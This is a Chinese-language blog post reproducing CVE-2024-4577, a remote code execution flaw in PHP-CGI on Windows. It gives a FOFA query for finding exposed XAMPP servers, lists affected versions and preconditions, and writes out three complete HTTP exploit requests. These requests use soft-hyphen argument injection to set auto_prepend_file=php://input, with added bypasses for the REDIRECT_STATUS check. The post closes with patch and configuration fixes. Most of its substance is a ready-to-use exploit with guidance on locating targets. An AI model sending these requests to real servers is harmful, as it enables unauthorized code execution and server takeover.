PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)复现

作者 : admin 本文共2426个字,预计阅读时间需要7分钟 发布时间: 2024-06-14 共1人阅读

PHP语言在设计时忽略了Windows对字符编码转换的 Best-Fit 特性,导致未授权的攻击者可以通过特定字符串绕过 CVE-2012-1823 补丁,执行任意PHP代码,导致服务器失陷。

1.漏洞级别

高危

2.漏洞搜索

fofa:

app="XAMPP"

3.影响范围

PHP8.3 < 8.3.8
PHP8.2 < 8.2.20
PHP < 8.1.29
低版本PHP基本都可以生效

4.漏洞复现

4.1 限制条件分析

  • 系统环境为Windows
  • 使用了如下语系:简体中文936/繁体中文950/日文932
  • 直接使用php-cgi启动
  • 即使 PHP 未配置为 CGI 模式,仅将 PHP 可执行二进制文件暴露在 CGI 目录 (XAMPP默认配置)

4.2 漏洞利用

在低版本的XAMPP默认配置下是完美满足所有的利用条件。
可以直接构造POC

GET /php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 22


注:

  • 这里的请求POST或者GET皆可,没有区别。
  • 正文里面的字段为需要执行的语句,需要以PHP文件的形式
    PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)复现插图
    在这种默认情况下漏洞利用相对简单。

4.3 漏洞进阶

但是如果我们在一些服务器上进行测试你就会发现,对该漏洞的利用失败,出现如下错误。
PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)复现插图(1)这里的主要原因是因为PHP-CGI并不是高版本下的默认启动版本。我们通过phpinfo()页面就可以看到。
PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)复现插图(2)PHP存在安全机制,在没有Action指令的情况下直接访问php-cgi.exe,REDIRECT_STATUS环境变量不会被设置,导致访问会返回500,这一配置是默认存在的。
解决方法也很简单,手动构造REDIRECT_STATUS变量即可,
构造

GET /php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Redirect-Status: 1
Content-Length: 22



即可成功返回结果
PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)复现插图(3)

另外的,我们也可以通过设置参数-d cgi.force_redirect=0 来绕过Redirect-Status的校验。
注:在高版本PHP中,allow_url_include已经被废弃,导致Content-Type头输出失败,也会返回500。需要添加一个-d error_reporting=0来规避这一点。
构造:

GET /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+error_reporting%3d0+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Length: 23


注:这个方法是我看大佬的文章中提到,实际测试中发现还是会500,不知道原因,但是也附在这里,提供给大家参考。

5.修复方案

  • 1.升级PHP版本,官方已推出修复方案。修复版本包括最新的 PHP 版本 8.3.8、8.2.20 和 8.1.29。
  • 于使用 XAMPP for Windows 的用户:如果您确认不需要 PHP CGI 功能,则可以通过修改以下 Apache HTTP Server 配置来避免暴露于此漏洞
 C:/xampp/apache/conf/extra/httpd-xampp.conf

找到相应的行:

ScriptAlias /php-cgi/ "C:/xampp/php/"

并将其注释掉

# ScriptAlias /php-cgi/ "C:/xampp/php/"
本站无任何商业行为
个人在线分享 » PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)复现
E-->